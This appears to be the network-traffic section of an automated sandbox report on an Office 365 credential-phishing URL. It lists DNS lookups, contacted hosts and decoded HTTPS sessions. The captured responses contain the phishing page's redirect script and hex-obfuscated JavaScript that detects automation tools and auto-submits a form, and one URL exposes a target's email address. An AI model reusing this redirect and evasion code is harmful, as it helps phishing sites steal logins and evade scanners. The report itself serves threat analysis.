Oct 1, 2024 15:08:30.370800972 CEST	1.1.1.1	192.168.2.16	0xa884	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:30.370800972 CEST	1.1.1.1	192.168.2.16	0xa884	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:30.370800972 CEST	1.1.1.1	192.168.2.16	0xa884	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:30.372628927 CEST	1.1.1.1	192.168.2.16	0xfd1c	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:30.372628927 CEST	1.1.1.1	192.168.2.16	0xfd1c	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:32.280031919 CEST	1.1.1.1	192.168.2.16	0xf158	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:32.280031919 CEST	1.1.1.1	192.168.2.16	0xf158	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:32.280031919 CEST	1.1.1.1	192.168.2.16	0xf158	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:08:32.280725002 CEST	1.1.1.1	192.168.2.16	0x9b7a	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:08:32.280725002 CEST	1.1.1.1	192.168.2.16	0x9b7a	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:09:05.671947002 CEST	1.1.1.1	192.168.2.16	0xfedc	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

vwkugoia0yciq0buttompanj2.ntvultra.com

fs.microsoft.com

https:

gtekuvvait.com

cdnjs.cloudflare.com

challenges.cloudflare.com

aadcdn.msftauth.net

cdn.jsdelivr.net

aadcdn.msauth.net

ok4static.oktacdn.com

aadcdn.msauthimages.net

a.nel.cloudflare.com

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49704	108.179.252.163	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:02 UTC	759	OUT	GET /viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20= HTTP/1.1 Host: vwkugoia0yciq0buttompanj2.ntvultra.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:04 UTC	207	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html;charset=UTF-8
2024-10-01 13:08:04 UTC	3526	IN	Data Raw: 64 62 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 76 69 65 77 3a 20 36 64 4a 38 4c 57 31 4f 4d 37 20 30 66 66 69 63 65 33 36 35 6a 6f 79 37 72 48 73 46 47 6d 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 22 68 74 74 70 73 3a 2f 2f 67 74 65 6b 75 76 76 61 69 74 2e 63 6f 6d 2f 7a 75 70 72 69 76 61 74 65 72 2f 58 64 72 72 77 77 69 70 6a 2f 23 6a 73 61 6c 61 73 40 68 6f 6c 6c 61 6e 64 63 6f 2e 63 6f 6d 22 29 3b 3c 2f 73 63 72 69 70 74 3e 20 20 3c 2f 68 65 61 64 3e 0a 20 20 0a 20 20 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 51 59 48 55 37 65 6f 38 32 43 22 20 64 69 73 70 6c 61 79 3d 22 6e Data Ascii: dba<!DOCTYPE html><html> <head> <title>Review: 6dJ8LW1OM7 0ffice365joy7rHsFGm</title><script>window.location.replace("https://gtekuvvait.com/zuprivater/Xdrrwwipj/#jsalas@hollandco.com");</script> </head> <body class="QYHU7eo82C" display="n

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.16	49708	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:03 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-01 13:08:04 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=185866 Date: Tue, 01 Oct 2024 13:08:04 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.16	49712	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:04 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-01 13:08:05 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=185809 Date: Tue, 01 Oct 2024 13:08:05 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-01 13:08:05 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49713	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:05 UTC	722	OUT	GET /zuprivater/Xdrrwwipj/ HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://vwkugoia0yciq0buttompanj2.ntvultra.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:05 UTC	1366	IN	HTTP/1.1 503 Service Temporarily Unavailable Date: Tue, 01 Oct 2024 13:08:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Set-Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; path=/; expires=Wed, 02-Oct-24 13:07:28 GMT; Max-Age=86400; Set-Cookie: IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; path=/; expires=Wed, 02-Oct-24 13:07:28 GMT; Max-Age=86400; Set-Cookie: x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; path=/; expires=Wed, 02-Oct-24 13:07:28 GMT; Max-Age=86400; Set-Cookie: W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; path=/; expires=Wed, 02-Oct-24 13:07:28 GMT; Max-Age=86400; X-Frame-Options: SAMEORIGIN Cache-Control: public, max-age=0 no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Expires: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FETZ5WozyXKzD1888qh7H9v55g7nsX3HgdM9dErw4DZf9nMw5eunMbF2AxB9QNX5eUjT5u%2B%2BNUHKoHZFCXPlYe0U39%2FlkhUTkEYE0ZljL4%2B%2BZbyEK7gF9qKaTn2P6tazPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare
2024-10-01 13:08:05 UTC	32	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 63 62 63 61 64 65 64 32 38 37 65 31 39 36 32 2d 45 57 52 0d 0a 0d 0a Data Ascii: CF-RAY: 8cbcaded287e1962-EWR
2024-10-01 13:08:05 UTC	1369	IN	Data Raw: 31 32 38 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d Data Ascii: 1283<!DOCTYPE html><html><head><meta charset="utf-8" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" /><meta name="viewport" content="width=device-width, initial-
2024-10-01 13:08:05 UTC	1369	IN	Data Raw: 36 33 5c 78 36 38 5c 78 34 35 5c 78 37 36 5c 78 36 35 5c 78 36 45 5c 78 37 34 5c 78 32 38 5c 78 32 32 5c 78 36 46 5c 78 36 45 5c 78 37 32 5c 78 36 35 5c 78 36 31 5c 78 36 34 5c 78 37 39 5c 78 37 33 5c 78 37 34 5c 78 36 31 5c 78 37 34 5c 78 36 35 5c 78 36 33 5c 78 36 38 5c 78 36 31 5c 78 36 45 5c 78 36 37 5c 78 36 35 5c 78 32 32 5c 78 32 43 5c 78 32 30 5c 78 36 32 5c 78 32 39 5c 78 37 44 5c 78 33 42 5c 78 30 41 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 36 32 5c 78 32 38 5c 78 36 36 5c 78 37 35 5c 78 36 45 5c 78 36 33 5c 78 37 34 5c 78 36 39 5c 78 36 46 5c 78 36 45 5c 78 32 38 5c 78 32 39 5c 78 37 42 5c 78 30 41 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c Data Ascii: 63\x68\x45\x76\x65\x6E\x74\x28\x22\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65\x22\x2C\x20\x62\x29\x7D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x62\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\
2024-10-01 13:08:05 UTC	1369	IN	Data Raw: 37 5c 78 33 42 5c 78 32 30 5c 78 36 35 5c 78 37 38 5c 78 37 30 5c 78 36 39 5c 78 37 32 5c 78 36 35 5c 78 37 33 5c 78 33 44 5c 78 32 37 5c 78 32 30 5c 78 32 42 5c 78 32 30 5c 78 32 37 5c 78 35 37 5c 78 36 35 5c 78 36 34 5c 78 32 43 5c 78 32 30 5c 78 33 30 5c 78 33 32 5c 78 32 44 5c 78 34 46 5c 78 36 33 5c 78 37 34 5c 78 32 44 5c 78 33 32 5c 78 33 34 5c 78 32 30 5c 78 33 31 5c 78 33 33 5c 78 33 41 5c 78 33 30 5c 78 33 38 5c 78 33 41 5c 78 33 30 5c 78 33 35 5c 78 32 30 5c 78 34 37 5c 78 34 44 5c 78 35 34 5c 78 32 37 5c 78 32 30 5c 78 32 42 5c 78 32 30 5c 78 32 37 5c 78 33 42 5c 78 32 30 5c 78 37 30 5c 78 36 31 5c 78 37 34 5c 78 36 38 5c 78 33 44 5c 78 32 46 5c 78 32 37 5c 78 33 42 5c 78 30 41 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 7\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D\x27\x20\x2B\x20\x27\x57\x65\x64\x2C\x20\x30\x32\x2D\x4F\x63\x74\x2D\x32\x34\x20\x31\x33\x3A\x30\x38\x3A\x30\x35\x20\x47\x4D\x54\x27\x20\x2B\x20\x27\x3B\x20\x70\x61\x74\x68\x3D\x2F\x27\x3B\x0A\x20\x20\x20\x20\x20\x
2024-10-01 13:08:05 UTC	640	IN	Data Raw: 5c 78 30 41 5c 78 36 39 5c 78 36 36 5c 78 32 38 5c 78 32 31 5c 78 37 37 5c 78 36 39 5c 78 36 45 5c 78 36 34 5c 78 36 46 5c 78 37 37 5c 78 32 45 5c 78 36 35 5c 78 36 44 5c 78 36 39 5c 78 37 34 5c 78 32 39 5c 78 37 42 5c 78 32 46 5c 78 32 41 5c 78 36 33 5c 78 36 46 5c 78 37 35 5c 78 36 33 5c 78 36 38 5c 78 36 41 5c 78 37 33 5c 78 32 41 5c 78 32 46 5c 78 30 41 5c 78 36 39 5c 78 36 36 5c 78 32 38 5c 78 32 31 5c 78 37 37 5c 78 36 39 5c 78 36 45 5c 78 36 34 5c 78 36 46 5c 78 37 37 5c 78 32 45 5c 78 37 33 5c 78 37 30 5c 78 36 31 5c 78 37 37 5c 78 36 45 5c 78 32 39 5c 78 37 42 5c 78 32 46 5c 78 32 41 5c 78 37 32 5c 78 36 38 5c 78 36 39 5c 78 36 45 5c 78 36 46 5c 78 32 41 5c 78 32 46 5c 78 30 41 5c 78 36 39 5c 78 36 36 5c 78 32 38 5c 78 32 31 5c 78 37 37 5c 78 36 Data Ascii: \x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x65\x6D\x69\x74\x29\x7B\x2F\x2A\x63\x6F\x75\x63\x68\x6A\x73\x2A\x2F\x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x73\x70\x61\x77\x6E\x29\x7B\x2F\x2A\x72\x68\x69\x6E\x6F\x2A\x2F\x0A\x69\x66\x28\x21\x77\x6
2024-10-01 13:08:05 UTC	1369	IN	Data Raw: 62 32 30 0d 0a 36 46 5c 78 36 44 5c 78 36 39 5c 78 37 35 5c 78 36 44 5c 78 32 30 5c 78 36 32 5c 78 36 31 5c 78 37 33 5c 78 36 35 5c 78 36 34 5c 78 32 30 5c 78 36 31 5c 78 37 35 5c 78 37 34 5c 78 36 46 5c 78 36 44 5c 78 36 31 5c 78 37 34 5c 78 36 39 5c 78 36 46 5c 78 36 45 5c 78 32 30 5c 78 36 34 5c 78 37 32 5c 78 36 39 5c 78 37 36 5c 78 36 35 5c 78 37 32 5c 78 32 41 5c 78 32 46 5c 78 30 41 5c 78 36 39 5c 78 36 36 5c 78 32 38 5c 78 32 31 5c 78 37 37 5c 78 36 39 5c 78 36 45 5c 78 36 34 5c 78 36 46 5c 78 37 37 5c 78 32 45 5c 78 36 34 5c 78 36 46 5c 78 36 33 5c 78 37 35 5c 78 36 44 5c 78 36 35 5c 78 36 45 5c 78 37 34 5c 78 32 45 5c 78 36 34 5c 78 36 46 5c 78 36 33 5c 78 37 35 5c 78 36 44 5c 78 36 35 5c 78 36 45 5c 78 37 34 5c 78 34 35 5c 78 36 43 5c 78 36 35 Data Ascii: b206F\x6D\x69\x75\x6D\x20\x62\x61\x73\x65\x64\x20\x61\x75\x74\x6F\x6D\x61\x74\x69\x6F\x6E\x20\x64\x72\x69\x76\x65\x72\x2A\x2F\x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x64\x6F\x63\x75\x6D\x65\x6E\x74\x45\x6C\x65
2024-10-01 13:08:05 UTC	1369	IN	Data Raw: 32 44 5c 78 33 39 5c 78 36 31 5c 78 32 44 5c 78 36 36 5c 78 35 44 5c 78 37 42 5c 78 33 33 5c 78 33 32 5c 78 37 44 5c 78 35 43 5c 78 37 33 5c 78 32 41 5c 78 33 44 5c 78 35 43 5c 78 37 33 5c 78 32 41 5c 78 32 38 5c 78 35 42 5c 78 35 45 5c 78 33 42 5c 78 35 44 5c 78 32 42 5c 78 32 39 5c 78 32 38 5c 78 33 46 5c 78 33 41 5c 78 32 45 5c 78 32 41 5c 78 32 39 5c 78 33 46 5c 78 32 34 5c 78 32 46 5c 78 32 39 5c 78 32 39 5c 78 37 42 5c 78 32 41 5c 78 32 46 5c 78 32 46 5c 78 32 41 5c 78 34 38 5c 78 37 34 5c 78 37 34 5c 78 37 30 5c 78 34 46 5c 78 36 45 5c 78 36 43 5c 78 37 39 5c 78 32 30 5c 78 34 33 5c 78 36 46 5c 78 36 46 5c 78 36 42 5c 78 36 39 5c 78 36 35 5c 78 32 30 5c 78 36 36 5c 78 36 43 5c 78 36 31 5c 78 36 37 5c 78 37 33 5c 78 32 30 5c 78 37 30 5c 78 37 32 5c Data Ascii: 2D\x39\x61\x2D\x66\x5D\x7B\x33\x32\x7D\x5C\x73\x2A\x3D\x5C\x73\x2A\x28\x5B\x5E\x3B\x5D\x2B\x29\x28\x3F\x3A\x2E\x2A\x29\x3F\x24\x2F\x29\x29\x7B\x2A\x2F\x2F\x2A\x48\x74\x74\x70\x4F\x6E\x6C\x79\x20\x43\x6F\x6F\x6B\x69\x65\x20\x66\x6C\x61\x67\x73\x20\x70\x72\
2024-10-01 13:08:05 UTC	117	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 37 38 5c 78 36 38 5c 78 37 34 5c 78 37 34 5c 78 37 30 5c 78 32 45 5c 78 36 46 5c 78 36 45 5c 78 37 32 5c 78 36 35 5c 78 36 31 5c 78 36 34 5c 78 37 39 5c 78 37 33 5c 78 37 34 5c 78 36 31 5c 78 37 34 5c 78 36 35 5c 78 36 33 5c 78 36 38 5c 78 0d 0a Data Ascii: 0\x20\x20\x20\x20\x20\x20\x20\x20\x78\x68\x74\x74\x70\x2E\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x
2024-10-01 13:08:05 UTC	1355	IN	Data Raw: 35 34 34 0d 0a 36 31 5c 78 36 45 5c 78 36 37 5c 78 36 35 5c 78 32 30 5c 78 33 44 5c 78 32 30 5c 78 36 36 5c 78 37 35 5c 78 36 45 5c 78 36 33 5c 78 37 34 5c 78 36 39 5c 78 36 46 5c 78 36 45 5c 78 32 38 5c 78 32 39 5c 78 32 30 5c 78 37 42 5c 78 30 41 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 36 39 5c 78 36 36 5c 78 32 30 5c 78 32 38 5c 78 37 38 5c 78 36 38 5c 78 37 34 5c 78 37 34 5c 78 37 30 5c 78 32 45 5c 78 37 32 Data Ascii: 54461\x6E\x67\x65\x20\x3D\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x78\x68\x74\x74\x70\x2E\x72
2024-10-01 13:08:05 UTC	1369	IN	Data Raw: 62 32 30 0d 0a 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 36 34 5c 78 36 46 5c 78 36 33 5c 78 37 35 5c 78 36 44 5c 78 36 35 5c 78 36 45 5c 78 37 34 5c 78 32 45 5c 78 36 36 5c 78 36 46 5c 78 37 32 5c 78 36 44 5c 78 37 33 5c 78 35 42 5c 78 33 30 5c 78 35 44 5c 78 32 45 5c 78 37 33 5c 78 37 35 5c 78 36 32 5c 78 36 44 5c 78 36 39 5c 78 37 34 5c 78 32 38 5c 78 32 39 5c 78 33 42 5c 78 30 41 5c 78 32 30 5c 78 32 30 5c 78 37 44 Data Ascii: b2020\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x66\x6F\x72\x6D\x73\x5B\x30\x5D\x2E\x73\x75\x62\x6D\x69\x74\x28\x29\x3B\x0A\x20\x20\x7D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49714	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:05 UTC	1137	OUT	POST /zuprivater/Xdrrwwipj/ HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive Content-Length: 22 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-Requested-TimeStamp-Expire: sec-ch-ua-mobile: ?0 X-Requested-TimeStamp-Combination: X-Requested-Type-Combination: GET Content-type: application/x-www-form-urlencoded X-Requested-Type: GET User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 ZaOHwFApya53RTC4BTqa5t59QUs: 50332954 X-Requested-with: XMLHttpRequest X-Requested-TimeStamp: sec-ch-ua-platform: "Windows" Accept: / Origin: https://gtekuvvait.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://gtekuvvait.com/zuprivater/Xdrrwwipj/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y
2024-10-01 13:08:05 UTC	22	OUT	Data Raw: 6e 61 6d 65 31 3d 48 65 6e 72 79 26 6e 61 6d 65 32 3d 46 6f 72 64 Data Ascii: name1=Henry&name2=Ford
2024-10-01 13:08:06 UTC	1262	IN	HTTP/1.1 204 No Content Date: Tue, 01 Oct 2024 13:08:06 GMT Connection: close X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Set-Cookie: kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; path=/; expires=Wed, 02-Oct-24 13:08:06 GMT; Max-Age=86400; Set-Cookie: gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; path=/; expires=Wed, 02-Oct-24 13:08:06 GMT; Max-Age=86400; Set-Cookie: Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; path=/; expires=Wed, 02-Oct-24 13:08:06 GMT; Max-Age=86400; Set-Cookie: Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; path=/; expires=Wed, 02-Oct-24 13:08:06 GMT; Max-Age=86400; X-Frame-Options: SAMEORIGIN Cache-Control: public, max-age=0 no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Expires: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bcr6ZbZmkseKoqZRlN8Zu9j8n3jLo0txBomlHkenSKospmB%2B6fteHKvVV32zAiDszU38AJ3TlyGvp%2B4PzJLmvoN%2B1ZfOMp29Tpjyd3jnoET87p60bTtFGOU2J%2B8Xo3fNag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cbcadf09fcb6a58-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49715	35.190.80.1	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:06 UTC	543	OUT	OPTIONS /report/v4?s=%2FETZ5WozyXKzD1888qh7H9v55g7nsX3HgdM9dErw4DZf9nMw5eunMbF2AxB9QNX5eUjT5u%2B%2BNUHKoHZFCXPlYe0U39%2FlkhUTkEYE0ZljL4%2B%2BZbyEK7gF9qKaTn2P6tazPA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://gtekuvvait.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:06 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 01 Oct 2024 13:08:05 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
